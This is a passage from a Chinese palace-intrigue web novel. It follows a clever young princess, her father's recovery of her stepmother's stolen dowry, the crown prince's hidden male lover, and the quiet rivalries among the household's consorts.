门口守着的两个奴才还处于懵逼中。 张姬踹了其中一个奴才一脚:“没听到郡主说话吗?” “啊,是是…”两个奴才反应过来,朝司徒薇做了个请的手势。 司徒薇:“…” 怎么就搞成这样了? 要是完不成任务,她回去了怎么给父王交代? 明明父王刚刚对她另眼相看。 可恶的唐蕊,眼睛真毒。 她想得没错,这唐蕊绝对不是一般的五岁小孩子,没那么好糊弄。 “堂妹,既然如此,那我明日再来。不管你信不信,我都是真心来道歉的,你真的误会我了。” 司徒薇叹息一声,只能带着自己婢女战术性撤退。 她转身离去时,指尖微微发颤,明显被气得不轻。 唐蕊看到了也当没看到,优雅的翻了个白眼。 朱庶妃朝她竖起大拇指:“干得漂亮。” 李姬也默默点头:“不能就这么算了,必须让东宫的人长长记性。” 张姬建议:“蕊蕊,要不我教你几招防身?下次再遇到欺负你的人,你就打回去!” “别了吧,蕊蕊好歹是个郡主,哪能跟你一样舞刀弄枪的。”朱庶妃推开她,笑眯眯的在唐蕊面前蹲下,变魔术似的摸出一包点心:“喏,东街的桂花酥,特别好吃。” 唐蕊眼睛一亮,接过纸包,还不忘道谢:“朱庶母,你对我真好,我特别喜欢你。” “哎哟,宝贝儿,我也特别喜欢你!”朱庶妃没忍住,抱着唐蕊一阵贴贴。 李姬看得眼热:“让开,给我也抱一下。” 小包子脸蛋肉乎乎的,又软又有弹性,爱死这种柔软的感觉了。 张姬啥也没有,也默默凑了过来。 唐蕊被三个庶母抱着一阵心肝宝贝各种贴贴,半小时后才得以解放。 李姬离开的时候,还随手摸出了一串纯金打造的长命锁给她带上,并附送一句:“宝贝,缺钱就跟我说知道吗?别学那些眼皮子浅的。” 唐蕊:“…”还在内涵司徒薇带来的一千两银票呢! 李姬真是财大气粗,哪天要是老爹想造反,都不愁经费问题了。 … 东宫! 司徒薇收拾好表情才进入主殿。 太子见是她,放下了书:“如何?” “父王,对不起…”司徒薇刚说完,就见太子眼底划过一丝失望,赶紧又道:“估计是钱给得不够,母妃只给了我一千两银票。” 太子闻言愣住了:“她只给了这么点?” 秦芷媃在搞什么? 一千两银子就想打发人? “是啊,父王,我早上去找母妃的时候,也说太少了,可母妃不愿意多给,还骂了我…” 所以,不是我办事能力不行,是母妃太抠坏事。 “我去找她!” 太子猛地站起身,袖袍一拂,立刻去找了秦芷媃,又把她臭骂一通。 秦芷媃都郁闷死了。 钱钱钱,哪来那么多钱? 东宫每月进项明明有限,支出又大,太子却总以为金银从天而降。 秦芷媃也是有脾气的,试图跟他理论:“太子殿下,东宫每月支出很大,马上还是襄王妃生辰,又要花钱送礼,妾身实在是…” “所以你的意思是,你当不好这个家?”太子冷眼盯着她,声音里透着不容置疑的威压, 秦芷媃噎了一下,委屈的垂下头去:“没有,妾身知道了,会再给司徒薇送些银票过去。” 太子冷哼:“这还差不多。” 秦芷媃柔柔一笑,把这些烦心事扔到一边:“殿下,妾身让小厨房煲了鹿排汤,今晚…可以留下来陪妾身用膳吗?” 东宫里几个小妾都有孩子,她也想有自己的孩子。 可太子每月只有十五会到她宫中休息,十次有八次都是纯睡觉。 她也很急的。 太子就当没看到她期待的眼神,拂袖离开:“孤没心情,你自己吃吧!” 秦芷媃笑容僵住,望着他离去的背影,指尖微微发颤,眼底最后一丝温热也冷却下来。 “太子妃,鹿排汤好了…” 婢女端着鹿排汤进来,可屋里却只有秦芷媃一人,不由得顿住了。 秦芷媃看着那碗汤,脸色铁青,猛的挥手打翻了。 瓷碗落地发出清脆的声响,还有一些溅到了婢女身上。 婢女被烫得一哆嗦,却不敢喊疼,赶紧跪下:“太子妃恕罪。” “我算什么太子妃!”秦芷媃气得掉泪。 她本来就比东宫的小妾们晚嫁进来,太子对她又不冷不热,这样下去她什么时候才能有自己的孩子? 婢女脑袋垂得更低了。 贴身嬷嬷听到动静赶了来,见一地狼藉,赶紧让婢女收拾。 “太子妃,你别急,太子殿下只是跟您置气罢了。”嬷嬷劝道。 秦芷媃擦掉眼泪:“对,都怪璃王家那个死孩子,明明不是秦芷嫣的种,却跟她一样讨厌。” 嬷嬷笑道:“她们得意不了多久了,太子妃,当务之急还是先让太子殿下满意才是。” “本妃知道了!”就是一想到又要大出血,很是心疼:“嬷嬷去我库房再拿些物件卖了换成银票吧,然后给司徒薇那个小贱人送过去。” “是!”贴身嬷嬷转身去了小库房。 司徒薇则是在盘算着,要怎么让自己讨厌的人付出代价。 她指的不光是秦芷嫣和唐蕊,还有府里那些莺莺燕燕跟她们的女儿。 司徒薇,她以前真是小看她了。 这孩子平时不声不响的,这次却让她栽这么大个跟头。 就在这时,嬷嬷慌慌张张的跑了来,脸色煞白:“主子不好了,库房…库房…” 第23章 太子的秘密 “库房怎么了?”秦芷媃不明所以。 嬷嬷一拍大腿:“库房空了啊!” “什么?”秦芷媃脸色骤变,二话不说就往自己小库房跑。 到了库房,看着那一排排空荡荡的货架,秦芷媃眼前一黑,软软的倒了下去。 嬷嬷接住她,大声喊道:“来人啊,库房遭贼啦,太子妃昏过去啦。” 东宫顿时一片鸡飞狗跳! 刚离开没多久,正在陈姬屋里的太子:“…” 真是够了! 这个女人最近频频出错,现在连库房都被偷了。 她一天天的到底在搞什么? “殿下,东宫遭了贼,当务之急还是赶紧把失窃的东西追回来啊!”陈姬柔声劝道。 他穿着清凉,仔细看去,竟然有喉结,身高也比一般女子略高些。 只是学着女子那般打扮,不细看根本分别不出来,这其实是个男子。 太子摩挲着他的腰肢,听着他阵阵轻喘,感觉心情稍微好了那么一点点:“说来说去也怪你,如果你是女儿身,孤又何必娶些不爱的女子。” 陈姬抿唇一笑:“若我是女儿身,太子还会喜欢我么?” “当然,孤最喜欢的就是你,跟其他女人不过是逢场作戏。”说着,去吻他的唇。 陈姬娇笑着躲开:“殿下,太子妃的库房失窃了,你还有心思跟我做这种事呀?” “她的库房装的都是她的嫁妆,跟孤有什么关系?”太子捏住他的下巴,眼底邪火越盛:“别躲,好好伺候孤。” “殿下…” 屋里很快响起儿童不宜的声音。 两人都没注意到,衣柜里还藏着一个人。 明月透过衣柜门缝隙盯着床上颠鸾倒凤的两个男人,眼睛瞪得老大! 他和清风奉命把王妃的嫁妆都偷回去,可王妃的嫁妆太多了。 两人搬了一整晚加一上午。 他正扛着最后一包准备溜呢,没想到太子妃发现库房失窃了。 东宫戒严,他只能暂时躲在这里。 可他看到了什么? 太子最宠爱的陈姬是个爷们就算了,太子还是下面那一个? 精彩,真是太精彩了! 明月看得津津有味,全程硬是没眨眼,生怕错过任何细节。 可惜,太子妃小库房失窃,太子也不可能坐视不理。 两人很快结束,陈姬伺候太子穿衣梳洗后,才跟着他去太子妃殿中。 等他们走了,明月这才扛着包袱离开。 回到璃王府后,明月第一时间去找司徒澈交差。 书房外面此时已经摆满了各种四十多个大箱子,以及二十多个大大小小的包袱。 世家女就是世家女,哪怕近几年世家被皇室打压,这底蕴也很强大。 没记错的话,璃王妃的生母不过是世家二房的嫡女,居然能给她留下这么多嫁妆。 司徒澈满意点头:“都在这里了?” 清风规规矩矩拱手:“回王爷,属下不知道数目对不对,反正太子妃的小库房都被我跟明月搬空了。” 明月猛点头,僵硬的笑了笑,画风骤变诡异:“我还发现了一个秘密,关于太子的。” 司徒澈瞪着他:“都说了别这么笑。” 很吓人的好不好! “那你想不想知道?”明月反问一句,脸上却赤裸裸的写着,你快问我,快问我啊! 清风无语。 也只有明月,敢在王爷面前这么放肆。 司徒澈完全把这个神经心腹没办法:“说吧,太子有什么秘密?” 明月又僵硬的扯了扯嘴角,这才说道:“太子喜欢被男人搞。” 司徒澈:“?”什么玩意? 清风:“?”啊? 刚到院门口的唐蕊双眼迸发出璀璨的光:“哇!你是说,太子叔叔有龙阳之癖,还是下面那个?” 明月见她很感兴趣的样子,觉得找到了知音,顿时来劲儿了:“对对,太子最宠的陈姬,男的。” 唐蕊激动极了:“真哒假哒?没人发现吗?” 明月摇头:“没有,男扮女装,很像。” 唐蕊摸着下巴,嘿嘿阴笑:“我好想看哦。” 明月也学着她摸下巴:“我看过了,下次带你去。” “…”什么跟什么啊! 为毛唐蕊会来? 明月你踏马还要带她去看? 眼瞅着一大一小越说越过分,司徒澈耳垂通红,一声怒吼:“都给本王住口!” 一大一小两只一秒挺直背脊,昂首挺胸,目不斜视,动作神同步! 只是那表情,一个比一个无辜。 司徒澈黑着脸:“明月,这是本王的女儿,是女儿,谁让你跟她说这些的?” “对不起…”明月垂下头去,表示自己知道错了。 司徒澈又看向唐蕊,还没开口唐蕊就立刻岔开话题:“哇,爹爹,这些箱子里好多金银首饰,你在清点库房吗?” “没有,这些都是你母妃的嫁妆,本王给她拿回来了。”司徒澈皱眉道:“你别岔开话题。” “哦。”唐蕊自动忽略第二句,啪嗒啪嗒跑到一个个箱子边,爱不释手的摸摸这个,摸摸那个,最后朝司徒澈竖起大拇指:“爹爹终于做了一件对的事,一会儿你要亲自把这些嫁妆给母妃送过去哦。” 司徒澈:“…都说了,让你别岔开话题。” 唐蕊闻言摆出和明月一毛一样的无辜脸:“可爹爹你也说了,我是你的女儿哦,你是男子,跟我一个女子说这些,真的好吗?” 司徒澈:“…”这话好像没毛病。 “我来就是想跟你说一声,司徒薇态度不好,我没原谅她,我说完了,先回去啦,爹爹一会儿记得亲自把这些给母妃送过去哦!”唐蕊边说边往外走,等说完的时候人都没影了。 司徒澈扶额,朝清风勾了勾手指:“去宫里找个靠得住的嬷嬷,等国学监沐休的时候来教她规矩。” 清风拱手:“属下遵命。” 司徒澈又看向正轻手轻脚往外走的明月,再次黑了脸:“还有你,滚下去领罚。” 明月闻言苦下脸来,试图跟他讲道理:“我忙了一晚上。” 司徒澈:“所以?” 明月一本正经:“功过相抵!” 司徒澈:“…” 清风轻咳一声,握拳放在嘴边,掩饰住嘴角的笑意:“王爷,明月一直都是这个性子,他应该是无心的。” 第24章 像是第一次认识秦芷嫣似的 说白了,明月也才十七岁呢! 初遇明月的时候还是六年前,那时候他带着人出去做任务。 十一岁的明月穿着和他们一模一样的夜行衣,直接乱入他们的队伍。 当时他和其他同僚震惊极了,这孩子才多大?都不怕他们的吗?他们可是穿着夜行衣啊! 最不可思议的是,这孩子年纪一看就不大,居然跟得上他们的速度。 于是他停了下来,问明月是谁。 明月懵了几秒,神来一句:“你是谁,我就是谁。” 清风当时没听懂。 结果明月一指他的衣服:“我们穿的一样,肯定是一家人。” 清风:“…” 神经病啊! 当时清风没想搭理他的,但这孩子轻功不弱,甩也甩不掉。 他好像还失去了记忆,连自己是谁都不知道。 没办法,只能把他带了回来。 司徒澈见他小小年纪武功不俗,又怜悯他失去了记忆,就把他留了下来,赐名明月。 事后他们也有调查明月的过往,但这孩子的过往查无可查。 清风收回思绪,笑着说道:“王爷,你别生明月的气了,属下会好好教他。” “但愿!”司徒澈冷哼一声,其实也舍不得罚明月的。 他没有孩子,唐蕊没有回来之前,他一直是把明月当半个孩子。 “下不为例!”司徒澈终是没舍得罚他,挥挥手让他下去休息,休息好了再去看着唐蕊。 明月闻言立刻开溜,活像背后有鬼再追一样。 他走后,司徒澈本想让清风把这些东西给王妃送过去的。 但,想到唐蕊的叮嘱,司徒澈犹豫片刻,还是决定亲自去送这些嫁妆。 他带着人来时,璃王妃不在自己屋里,正坐在院中的亭子里,手中捧着账本看得很认真,石桌上还堆着厚厚一摞。 璃王妃身边的徐嬷嬷想吱声,司徒澈提前抬了抬手,示意她退下。 徐嬷嬷担忧的看了秦芷嫣一眼,福了福身子悄悄退下了。 司徒澈出神的盯着自己的王妃,后知后觉成亲这么久,他从没好好看过她。 经过唐蕊生母的事,他对这种主动送上门的女人都很反感。 秦芷嫣又是趁他出征在外,被皇后硬塞进来的人。 他和皇后虽是亲母子,关系却并不好,甚至到了水火不容的地步。 以至于他怀疑皇后此举的用心。 再后来,皇帝也有样学样,不停往他府里塞女人。 次数多了,他渐渐也麻木了,只当她们是空气… 现在仔细想想,婚姻大事父母之命媒妁之言,她们又有什么选择? 司徒澈不由得扪心自问,这些年,他真的尽到一个做丈夫的职责了吗? 不然怎么连自己的王妃嫁妆被霸占的事都一无所知? 许是看久了,秦芷嫣揉了揉眼睛,拿起杯子喝了一口水,眼眸微抬,这才注意到不远处的司徒澈。 秦芷嫣惊了一下,赶紧起身朝司徒澈福了福身子:“王爷,您怎么来了?” “给你送东西,顺便看看你!”司徒澈一边说,一边看向院子里那些个箱子。 秦芷嫣顺着他的视线看去,惊讶的瞪大了眼睛:“这些是…” “都是你的嫁妆,本王替你拿回来了。” “!!”嫁妆? 秦芷嫣怀疑自己听错了,快步走了过去。 箱子里每样物件陌生又熟悉,果然都是她的嫁妆。 秦芷嫣拿起一个箱子里一根玉簪,轻抚着上面的木兰雕花,眼角逐渐湿润。 司徒澈转动轮椅来到她身后:“这些年秦芷媃用了不少,只剩这些,你看看还缺什么,本王补给你!” “不…不必,多谢王爷,能拿回来这么多,妾身已经很开心了。再说了,都是秦芷媃的不是,哪有让王爷破费的道理。” 秦芷嫣轻拭掉眼角的湿润,鼓起勇气把手里的玉佩递了过去,脸上浮起一抹霞云:“这玉簪是我娘当初给未来姑爷准备的礼物,王爷…能收下吗?” 司徒澈沉吟片刻,还是接了过来:“既然是岳母好意,自当收下,王妃想要什么礼物?本王送你。” “没…妾身能嫁给王爷,已经很满足了…”秦芷嫣垂下眼眸,脸也更红了。 “…”她喜欢我? 意识到这件事,司徒澈眼底划过一丝疑惑:“以前我俩…认识?” “…”居然不记得了? 秦芷嫣压下心里的郁闷,笑着点头:“那年秦芷媃生辰,王爷也来了,我被父亲关在柴房好几日,差点饿死,是王爷您给了我一些点心。” 司徒澈:“!!” 想起来了。 当时他本来是没功夫去参加一个大臣之女的生辰的,但被老九拉了去。 老九还说,皇后属意永安侯嫡女为太子正妃。 好吧! 总归无事,他倒要看看偏心的母后给太子选了个什么女人。 结果还不如不看,矫揉做作,眼底的野心藏都藏不住。 挺好,和虚伪的太子天生一对。 席间很无聊,他借口出去闲逛,偶然听到了微弱的呼救声。 最后在顺着声音,在柴房发现了奄奄一息的女子。 “你是当年那个女子?可你不是母后…”安插进来的眼线吗? 司徒澈话没说完,秦芷嫣却反应过来了,慌乱摆手:“没有没有。” 察觉自己有些失态,秦芷嫣顿了顿,努力平静下来,可那脸却更红了:“皇后确实有这个意思,可妾身…妾身一直爱慕王爷,于是将计就计,假意顺从。嫁给王爷后,皇后也找过妾身询问王爷的近况,但妾身…从没透露过什么…” “…”所以你利用了母后? 司徒澈匪夷所思道:“母后会放过你?” 秦芷嫣不好意思的笑了笑:“所以妾身一直称病,很少入宫呀!” 司徒澈仔细回忆了一下,好像…也是… 秦芷嫣入府几年,参加宫宴的次数寥寥无几。 就算入了宫,也一直跟在他身边,寸步不离。 好家伙! 果然后宅的女人没一个简单的。 他以前居然把这女人当成蠢货小白兔,可人家呢,连他老娘都敢利用。 司徒澈像是第一次认识秦芷嫣似的,漂亮的凤眸里掩饰不住的惊讶! 第25章 秦芷嫣就是一个彻头彻尾的恋爱脑 秦芷嫣垂下头,手里的帕子都快被她扭得变形了:“王爷为何这么看着妾身?” “没…”我只是发现自己好像从没了解过你。 司徒澈唇角微翘,看她也顺眼了很多:“马上中午了,本王可以留下来用膳吗?你也看了一上午的账目了,等用过膳,本王帮你一起看?” 秦芷嫣受宠若惊,又有些不可置信:“这…可以吗?” 司徒澈眉梢微扬:“若你不愿…” “没有没有,妾身很愿意,妾身非常愿意…”秦芷嫣说到最后声音轻得微不可闻,整张脸彻底变成了红色。 王爷终于愿意正眼看她了呢! 她知道王爷有隐疾,从不奢求与他像寻常夫妻那般恩爱,只希望他能正眼看她。 可现在,这个卑微的心愿好像要实现了。 突然有点想哭是怎么回事? “怎么还哭了?”司徒澈说着,掏出自己的手帕递了过去:“擦擦!” 秦芷嫣感动得无以复加,接过他的手帕:“谢王爷,妾身立刻让人传膳…” 两人没有发现,门口一老一小两个脑瓜默默的缩了回去。 “王妃一直盼着,终于给她盼到了…”容嬷嬷激动得不知道该说什么才好,朝唐蕊福了福身子:“多谢郡主,愿意帮助王妃…” “嬷嬷你别哭哦。” 唐蕊笑眯眯道:“我可不是只帮母妃,还是帮我自己哦,没有哪个小孩愿意看到父母不和,我也一样哦。” “郡主说得是,王爷和王妃恩爱,对郡主您也好。” 容嬷嬷努力压下激动的心,发誓以后一定要更好的伺候唐蕊:“郡主,咱们也回去吧,该用膳了。” “好,不打扰父王母妃!” 唐蕊自顾自的往回走去,嘴里还在嘀咕:“接下来就是让爹爹和母妃一起睡觉咯,话说父王真的不能人道吗?要不要给他下点药试试呢?” 容嬷嬷眼尾一抽,激动的心顿时像是被一盆冷水浇灭:“小郡主,不能这么做,会闹出人命的。” 唐蕊理所当然道:“我就是想他们闹出人命啊,小弟弟小妹妹都可以哦,我会好好疼爱他们的。” “!!” 老奴说的人命不是这种人命啊! 王爷都不能人道,你给他下药,他会憋死的吧? 再说了… “郡主,如果王妃有了自己的孩子,你就不担心那孩子会抢了您的宠爱吗?” 她是秦芷嫣的人,但这几天和唐蕊相处,也是真的喜欢这个可爱又聪明的小团子。 人都是自私的,常年生活在后宅,继母虐待孩子的事她见得多了。 她无法想象,王妃要是有了自己的孩子,会怎么对待唐蕊。 也许,连带着唐蕊的郡主之位都会被那孩子抢去。 谁知,唐蕊一听这话,捂着小嘴嗤嗤笑出声来。 容嬷嬷不明所以:“郡主,你笑什么?” “我笑你呀,伺候母妃这么多年了,还不知道她嘛?你要清楚一点,母妃最爱的不是孩子,而是我爹哦,只要我是爹的孩子,她就会一直疼我,不管她以后会不会有自己的孩子都一样哦。” 容嬷嬷一想,好像还真是这样。 “小郡主,真是聪慧,老奴伺候王妃多年,还没你看得透彻。” “那必须,本郡主是天下第一明白人儿。” 唐蕊自问看人还算准的,秦芷嫣就是一个彻头彻尾的恋爱脑。 不然她执掌中馈这么多年,就算没有嫁妆,都不会这么穷的好吧? 多年下来不贪便宜璃王府一点东西,尽心尽力的替便宜爹打理好后院,还要费心照顾爹的各种女人们。 这可不就是神级恋爱脑才会干的事么? 唐蕊开心,回到自己的翠微阁里又干了七八盘菜。 期间朱庶妃还送了些点心过来,照单全收。 唐蕊擦了擦嘴,捂着鼓囊囊的小肚子,开始思考爹爹的腿了。 后院这么多庶母呢,便宜爹要是一直不能人道哪儿行? 必须治好他,然后整个排班表,让爹爹好好弥补一下庶母们的空虚寂寞冷。 既然娶了这么多女人,就得负责,不能让爹当渣爹。 那么问题来了,怎么给爹把脉呢? 一个五岁小孩会医术,这正常吗? 唐蕊想了一天都没想到办法。 神医谷的位置不能暴露,师傅会打死她的。 可她又不能直接告诉便宜爹,自己会医术。 啊! 好烦! 想不到办法的唐蕊直接睡觉! 也许睡醒了就会有办法也说不定。 … 翌日,司徒薇又来了。 这次唐蕊都没见她,只让大格去传话,明天会去国学监。 得到满意的答复,司徒薇告辞了,还留下了两千两银票。 容嬷嬷好奇道:“主子不是不想去国学监吗?为何不多休息几天?” “再休息就过了哦。” 秦芷嫣的嫁妆是偷回来的。 失窃这么多财物,又给了她两千两,东宫的经济状况估计很不好。 她再不给太子面子,太子该炸毛了。 容嬷嬷没听懂,见唐蕊没有闹脾气,这才松口气,把院里伺候的侍婢都叫了过来:“郡主,既然要去国学监了,那就选个陪读丫头吧!” 唐蕊点点头,看向这些侍婢。 侍婢们一个个站的笔直,规规矩矩,眼神都不乱瞄。 可惜,唐蕊早就有人选了,指了指被挤到边上那个约莫十四岁左右的丫头:“就她吧!妙珠!” 妙珠愣住了,满脸不可置信。 其他侍婢也N脸懵逼。 不是,怎么就选妙珠了? 她也配? 容嬷嬷皱眉道:“郡主,确定是妙珠吗?她只是个下等侍婢,刚被买入王府没多久,也许很多规矩都没学会。” 唐蕊笑道:“没事,就她哦。” 要的就是这种侍婢,眼底的奴性不多,机灵劲儿不少。 唐蕊才不承认,她是昨天瞧见这丫头在被府里的下人为难,想帮她一把罢了。 容嬷嬷见她定下了,也不再多说,看向妙珠:“以后你就是郡主的贴身丫鬟,切记,好好伺候郡主,不得放肆。” “是,俺…奴婢一定会好好伺候郡主的!”妙珠很欢喜,跪下给唐蕊磕头。 “起来吧,以后不用动不动给我下跪磕头,行个礼就行了哈。” 唐蕊说罢,又看向另外几个侍婢。 第26章 后院的女人们 她们虽然依旧低眉顺眼,但一双双眼底都有一丝不甘与嫉妒。 唐蕊不想让自己的翠微阁不安生,眼珠子一转张口道:“其实我也很喜欢你们哦,但陪读只能有一个,实在不能多带人去国学监,不然我真想把你们都带在身边!” “…”这么直接的吗? 几个侍婢脸色微红,眼底的不甘与嫉妒也散了几分:“多谢郡主厚爱。” “这样叭,以后你们的月给再多加一两银子,走我私库。”唐蕊说罢看向容嬷嬷:“嬷嬷,你觉得呢?” 侍婢们闻言眼睛一亮,期待的看向容嬷嬷。 容嬷嬷笑着点头:“郡主的私库,当然是郡主说了算!” 这么小的年纪就知道平衡之术,她的小主子果然聪明伶俐。 “谢郡主!”侍婢们齐齐福了福身子,负面情绪彻底消失了不说,还充满了干劲儿。 唐蕊挥挥手:“没事都下去忙吧!只要你们好好干,我不会亏待你们的。” 果然呐,没有哪个牛马不喜欢加工资的。 前世唐蕊就觉得很多公司对员工太过苛刻。 包括她自家的公司,几个长辈只知道画大饼,从不来点实际的。 这也导致下面的人消极怠工,公司效益一年不如一年。 当时唐蕊就想过,如果让她管理,她就少画饼,多给钱。 月薪两千,公司只是公司。 月薪要是两万,员工还不得把公司当自家啊? 解决完陪读的事,唐蕊抱着自己的奶瓶,去看自己的蛊虫了。 容嬷嬷则是把妙珠拉到一边敲打! 唐蕊没有管,容嬷嬷是她身边第一号人物,这是绝对的。 必须让妙珠知道谁是大小王,别越界了。 … 第二天,唐蕊早早的被容嬷嬷和妙珠挖了起来,全程闭着眼。 闭着眼让她们给自己洗漱,穿衣,打扮,塞进马车。 司徒澈看到被塞进来的小团子,以及秦芷嫣附上的两个食盒,有些无语:“你也太惯着她了。” “妾身…爱慕王爷…自然也会爱王爷的孩子…” 秦芷嫣羞红了脸。 但她发现,只要她多把爱挂嘴边,司徒澈就会对她好一些。 果然,司徒澈神色缓和了几分,接过食盒,眼底笑意一闪而逝:“随你吧!” “恭送王爷!”秦芷嫣福了福身子,除开发红的脸,挑不出一丝错处。 王府内,路过的霜蓉皱了皱眉,提着早膳飞快的回到顾侧妃院子,把刚刚所见所闻告诉了她。 顾侧妃淡淡一笑,四十五度抬头看着天边:“关系好了又如何?璃王不能人道,关系再好,不也要守活寡?她与我,又有什么区别?” 霜蓉急道:“侧妃,守活寡是一回事,关系好又是另外一回事。以前王爷对府里的女人一视同仁,现在有了王妃这个例外,王爷的心也会偏的,王爷要是偏了心,您的日子还会好过吗?” 顾侧妃眼底划过一丝苦涩:“那我又能怎么办呢?” 霜蓉:“咱们不能坐以待毙,您不想出手,可以借助别人的手。这后院,可不止您一个女人。” “随你吧!”顾侧妃挥挥手,对这事兴趣不大。 璃王宠爱谁都跟她没关系,反正她不喜欢璃王。 霜蓉点点头,快步离开。 顾侧妃伸出手轻抚过瓶中的茉莉:“天涯地角有穷时,只有相思…无尽处…” … 不过一会儿,司徒澈昨天在王妃处用膳,还陪王妃看了一天账本的事,传到另外三个女人耳中。 朱庶妃不耐烦的打断自家侍婢的话:“你告诉我这个是想让我做什么?” 侍婢一脸懵:“庶妃,您就不着急吗?” 朱庶妃反问一句:“我急什么?王妃是王爷的正妃,王爷喜欢她不是天经地义的事吗?” 侍婢:“…”虽然但是,但你就不嫉妒啊? 朱庶妃盯了自家侍婢一会儿,突然反应过来:“你不会是想让我去跟王妃争宠吧?” 侍婢小心翼翼道:“那…不争?” “废话!王妃对我多好啊!我是那种人吗?” “…庶妃,你就不想得到王爷的宠爱吗?” “我想啊!但我可不会因为想得宠就跟王妃翻脸。” 朱庶妃说到这,眼底划过一丝厌恶:“我可不想变得跟我爹后院那些女人一样,你看王妃对咱们多好啊,知道我爱吃,一旦有好吃的都会想着给我送一份,到了季节都会准时准点带人来给我送新衣,平时我没大没小,她都不会生气。王爷不喜欢我,那是王爷的问题,跟王妃有什么关系?难道我斗垮了王妃,王爷就会喜欢我了?” 侍婢哑口无言! 这么说好像…没毛病! 朱庶妃拍了拍她的肩,语重心长道:“别想怂恿我跟王妃斗,懂不?我是不会背叛王妃姐姐的。” 侍婢:“…”求摊上一个不求上进的主子心理阴影面积。 … 张姬耍完剑,瞥了一眼自己的贴身侍婢:“说完了?” 侍婢:“…说完了啊!” 张姬点点头:“说得很好,下次别说了。” 侍婢:“…” 张姬接过帕子擦了擦头上的汗:“我不懂喜欢为何物,就算有一天我喜欢上了王爷,也不会因此去迫害王妃。懂?” 侍婢:“哦…” 张姬把帕子扔给她:“谁告诉你这些的?” 侍婢完全跟不上自家主子的脑回路了:“就…外庭洒扫的丫头…” “去查!”张姬眼底划过一丝冷芒:“那个丫头今天还跟谁接触过,查到正主了去告诉王妃,让她有所警惕。” “是…”侍婢一脸懵圈的走了。 自家主子是菩萨吗?怎么无欲无求的? 这么说也不对,自家主子还是有点爱好,像她院子里那些兵器,就宝贝得不行。 无语,不爱王爷只爱兵器的主子。 … 李姬剥着葡萄,听着自家婢女哔哔完后,漫不经心反问一句:“所以呢?” 她的贴身侍婢愣了一下,小心翼翼问道:“所以…主子,你就不想想办法吗?王爷以前对谁都不在意,可现在他好像跟王妃关系变好了啊!” 李姬白了她一眼:“我看你是清闲日子过够了,非得找点刺激。” 第27章 皇帝哪里是疼我,分明是疼我爹 侍婢有些没听懂:“啊?什么刺激?” 李姬朝她勾了勾手指,等她到了面前,把剥好的一碟葡萄递给她:“拿冰镇着,等蕊蕊回来了给她送过去。” “主子!”侍婢一跺脚:“你有没有认真听我说话啊?” 李姬用一种看傻逼的眼神看了看她的脑子,长长的叹息一声:“我说,你觉得我这样的身份,能做王爷的正妃吗?” 侍婢还是没听懂,懵逼的摇了摇头。 她的主子是皇商之女,没有资格做王爷正妃的。 李姬小手一摊:“那不就结了,就算我斗到了王妃,也做不成王妃,只会给别的女人做嫁衣啊!那我为什么还要去斗?” 侍婢噎住了。 好有道理,无法反驳! 李姬又道:“所以,没有王妃,也会有别的女人做王妃,不管怎样都轮不到我,对不对?再者,你能保证新王妃和现在的王妃一样好脾气吗?如果新王妃脾气很不好,跟那些朝廷命妇们一样,不准姨娘们这样那样,立下一堆规矩,那我不是自讨苦吃?” 侍婢:“!!”对哦! “行了,快去,别在我面前秀你那聪明的脑瓜子了!”李姬挥挥手,觉得自家婢女有点蠢。 她又不傻。 虽然得不到王爷的爱,但也没必要跟自己过不去吧? 侍婢:“…” … 秦芷嫣刚回自己院里没多久,张姬的侍婢红霞就来了,提醒她当心顾侧妃。 很明显,她查到跟她说闲话那个洒扫丫头的上家是谁了。 秦芷嫣皱了皱眉:“顾侧妃不是那种人吧?” 最重要的是,她见顾侧妃也不喜欢王爷呀,有什么理由嫉妒自己? 红霞说道:“王妃还是当心为好。” “本妃知道了,替本妃谢过张姬!” 红霞离开后,徐嬷嬷皱眉道:“王妃,我们不能坐以待毙。” “总归只是传些话而已,她也没犯多大的错。” 秦芷嫣垂下眼眸,有些难受:“她总归是王爷的侧妃,争宠也是应该的。想办法提醒王爷,没事多去她院里坐坐吧,希望她不要犯傻,做些不该做的事…” 徐嬷嬷恨铁不成钢:“王妃…” “嬷嬷不用说了。” 秦芷嫣打断她的话,忍着心里的不适,似乎在说服嬷嬷,也似在说服自己:“我是王爷的王妃,本就该替他安抚好后院的姐妹们,如有必要,还会给王爷多纳几门妾室。我尽到自己的本分,替他打理好后院,王爷也能心无旁骛去操心外面的事。若我做不好,烦心的也只会是王爷。” 徐嬷嬷无奈极了,感叹道:“王爷能有您这个贤内助,真是王爷的福气。” “能嫁给心爱之人为妻,我也很幸福…” 秦芷嫣想起司徒澈昨日的陪伴,心里的不适被甜蜜冲散,连带着眼底都泛起丝丝温柔缱绻。 … 国学监。 唐蕊再次踏入这个地方,就收到了司徒安的热情欢迎。 同时也接收到了司徒嫱和司徒瑾姐弟俩的怨毒视线,以及司徒薇的礼貌颔首。 唐蕊朝她笑了笑,自动忽略姐弟俩,坐到司徒安身边:“小皇叔,好久不见,非常想念。” “我也很想你…”的奶茶! 司徒安嘿嘿一笑,瞟到司徒嫱和司徒瑾,小声说道:“这两天你没来,那姐弟俩也没来。后来我听母妃说,父皇说过了,你一天不来国学监,他俩也不准来。” “啊?这样哦…”她倒是不知道这个事。 怪不得司徒薇一天天的往璃王府跑。 司徒安:“父皇真的挺疼你的,对我都没这么好。” “…”皇帝哪里是疼我,分明是疼我爹。 对我不过是爱屋及乌罢了。 如果不是司徒澈的女儿,皇帝才不会疼呢! 唐蕊看得很透彻,一旁的顾楠聿也看得透彻,嗤笑一声再次口出狂言:“皇上以仁德治理天下,璃王为大夏鞠躬尽瘁,皇上能不多疼爱一些么?可笑有些人就是没有自知之明,无才又无德,跟跳梁小丑一样,非要跟璃王争个高低。” 司徒安一脸无语:“你能不能少说几句?” 一天不内涵太子,就不舒坦是吧? 唐蕊看向顾楠聿,圆溜溜的黑眸里满是好奇:“顾楠聿,你好像很讨厌太子叔叔?” 顾楠聿淡淡道:“郡主想多了,没有的事。” 司徒安扯了扯唐蕊衣袖,凑到她耳边小声道:“这家伙小时候被人牙子拐走,听说是太子让人干的。” 唐蕊惊呆了:“太子叔叔为什么要这么做?” 让人贩子拐走小孩子,这么恶毒的吗? 司徒安见顾楠聿没有看这边,又继续道:“太子眼馋丞相的势力,想让丞相站队,丞相却是出了名的保皇党,一直都没同意。” 唐蕊听懂了。 所以太子把主意达到了顾楠聿身上。 蛐蛐的两人没发现,司徒嫱正阴毒的盯着他们。 中午到了,唐蕊欢快的跑去了食堂。 这次她的午膳好好的,没有任何意外。 